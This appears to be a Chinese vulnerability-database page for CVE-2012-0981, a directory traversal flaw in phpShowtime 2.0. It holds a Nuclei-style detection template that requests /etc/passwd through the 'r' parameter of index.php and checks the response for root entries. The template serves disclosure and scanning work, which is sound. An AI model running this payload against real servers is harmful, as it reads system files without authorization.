CVE-2012-0981: phpShowtime 2.0 - Directory Traversal

日期: 2025-08-01 | 影响软件: phpShowtime 2.0 | POC: 已公开

漏洞描述

A directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php.

PoC代码[已公开]

id: CVE-2012-0981

info:
  name: phpShowtime 2.0 - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Upgrade to a patched version of phpShowtime or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/18435
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0981
    - http://www.exploit-db.com/exploits/18435
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72824
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2012-0981
    cwe-id: CWE-22
    epss-score: 0.22829
    epss-percentile: 0.95699
    cpe: cpe:2.3:a:kybernetika:phpshowtime:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kybernetika
    product: phpshowtime
  tags: cve,cve2012,phpshowtime,edb,lfi,kybernetika

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?r=i/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ef2342c368f82ff148fdae6d68e28be25daca11ee92c624560f4ddeec6eb805202207be0fe04fc668cc2a70f953f4e937e91c53ca720ece18e02cb9ecd66fb4e6172:922c64590222798bb761d5b6d8e72950

相关漏洞推荐